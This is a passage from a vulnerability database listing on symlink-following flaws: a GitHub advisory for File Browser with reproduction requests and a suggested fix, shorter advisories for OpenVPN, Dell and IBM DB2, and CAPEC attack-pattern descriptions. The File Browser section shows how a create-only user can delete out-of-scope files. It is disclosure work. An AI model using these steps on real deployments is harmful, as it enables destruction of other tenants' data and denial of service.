`/attacker`, pre-existing symlink `/attacker/link -\u003e /srv/victim`, file `/srv/victim/secret.txt`):\n\n```text\nGET /api/raw/link/secret.txt -\u003e 403 (read containment still holds \u2014 the v2.63.14 fix)\nPOST /api/resources/link/secret.txt -\u003e 403 (write blocked)\n =\u003e /srv/victim/secret.txt is DELETED (unguarded cleanup RemoveAll followed the symlinked ancestor)\n```\n\nVerified blast radius (per-case HTTP + on-disk before/after captured): create-only no-override deletion; cross-tenant deletion; full-instance DoS (delete the database dir \u2192 all users/shares/config gone, admin login fails); negative controls on the DELETE sinks (403, file survives).\n\n## Impact\n\nA per-tenant / per-share scoped user with only Create can destroy any file the File Browser process can reach via a symlink lexically inside their scope: other tenants\u0027 data or the application database (instance DoS). A create-only user deletes out-of-scope files reachable through an escaping symlinked directory, bypassing the `ScopedFs` boundary and the `Perm.Delete` gate. If the target is a directory, `RemoveAll` recursively removes out-of-scope contents. Precondition: a symlink present in the user\u0027s scope \u2014 identical to the parent CVE-2026-54094, which the project treated as in-scope, and which arises naturally via mounted volumes, restored backups, or extracted archives.\n\n## Suggested fix\n\n1. Add `guard()` to `ScopedFs.Remove` and `ScopedFs.RemoveAll` (`files/scoped.go`), mirroring the other methods (closes the class for all callers).\n2. Defense-in-depth: in `resourcePostHandler`, return early when `NewFileInfo` returns a non-not-exist error (do not fall through to `writeFile`/cleanup on a path that failed containment).\n\n## References\n\n- Incomplete fix of CVE-2026-54094 / `GHSA-239w-m3h6-ch8v`.\n- Affected code: `files/scoped.go` (`ScopedFs.Remove`, `ScopedFs.RemoveAll`), reached from `http/resource.go` (`resourcePostHandler` failure-cleanup, line 173).\n- Confirmed unpatched at HEAD `be23ab3` (`v2.63.15`); no open issue/PR addresses the `Remove`/`RemoveAll` gap.",
"id": "GHSA-fmm7-x4gx-8jhr",
"modified": "2026-07-20T21:17:24Z",
"published": "2026-07-20T21:17:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-fmm7-x4gx-8jhr"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55667"
},
{
"type": "PACKAGE",
"url": "https://github.com/filebrowser/filebrowser"
},
{
"type": "WEB",
"url": "https://github.com/filebrowser/filebrowser/blob/be23ab3a15bf957928ecfed88de5ab67850c1b9c/http/resource.go#L172-L174"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup"
}
GHSA-FP2G-4H6F-28H2
Vulnerability from github – Published: 2025-05-19 15:31 – Updated: 2025-05-20 18:30The configuration initialization tool in OpenVPN 3 Linux v20 through v24 on Linux allows a local attacker to use symlinks pointing at an arbitrary directory which will change the ownership and permissions of that destination directory.
{
"affected": [],
"aliases": [
"CVE-2025-3908"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-05-19T15:15:23Z",
"severity": "MODERATE"
},
"details": "The configuration initialization tool in OpenVPN 3 Linux v20 through v24 on Linux allows a local attacker to use symlinks pointing at an arbitrary directory which will change the ownership and permissions of that destination directory.",
"id": "GHSA-fp2g-4h6f-28h2",
"modified": "2025-05-20T18:30:53Z",
"published": "2025-05-19T15:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3908"
},
{
"type": "WEB",
"url": "https://community.openvpn.net/Security%20Announcements/CVE-2025-3908"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2025/05/20/2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FPC8-735F-W5QV
Vulnerability from github – Published: 2026-07-03 15:31 – Updated: 2026-07-03 15:31Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 contain an improper link resolution before file access ('Link following') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.
{
"affected": [],
"aliases": [
"CVE-2026-46468"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-03T13:17:23Z",
"severity": "MODERATE"
},
"details": "Dell PowerProtect Data Domain, versions 7.7.1.0 through 8.7, LTS2026 release version 8.6.1.0 through 8.6.1.10, LTS2025 release version 8.3.1.0 through 8.3.1.30, LTS2024 release versions 7.13.1.0 through 7.13.1.70 contain an improper link resolution before file access (\u0027Link following\u0027) vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to information exposure.",
"id": "GHSA-fpc8-735f-w5qv",
"modified": "2026-07-03T15:31:57Z",
"published": "2026-07-03T15:31:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46468"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000481268/dsa-2026-278-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FQ39-H9WQ-33RV
Vulnerability from github – Published: 2022-05-13 01:32 – Updated: 2022-05-13 01:32IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) 9.7, 10.1, 10.5, and 11.1 contains a vulnerability that could allow a local user to escalate their privileges to root through a symbolic link attack. IBM X-Force ID: 150511.
{
"affected": [],
"aliases": [
"CVE-2018-1834"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-11-09T01:29:00Z",
"severity": "HIGH"
},
"details": "IBM DB2 for Linux, UNIX and Windows (includes DB2 Connect Server) 9.7, 10.1, 10.5, and 11.1 contains a vulnerability that could allow a local user to escalate their privileges to root through a symbolic link attack. IBM X-Force ID: 150511.",
"id": "GHSA-fq39-h9wq-33rv",
"modified": "2022-05-13T01:32:35Z",
"published": "2022-05-13T01:32:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1834"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/150511"
},
{
"type": "WEB",
"url": "http://www.ibm.com/support/docview.wss?uid=ibm10733939"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105885"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1042086"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-48.1
Strategy: Separation of Privilege
- Follow the principle of least privilege when assigning access rights to entities in a software system.
- Denying access to a file can prevent an attacker from replacing that file with a link to a sensitive file. Ensure good compartmentalization in the system to provide protected areas that can be trusted.
CAPEC-132: Symlink Attack
An adversary positions a symbolic link in such a manner that the targeted user or application accesses the link's endpoint, assuming that it is accessing a file with the link's name.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.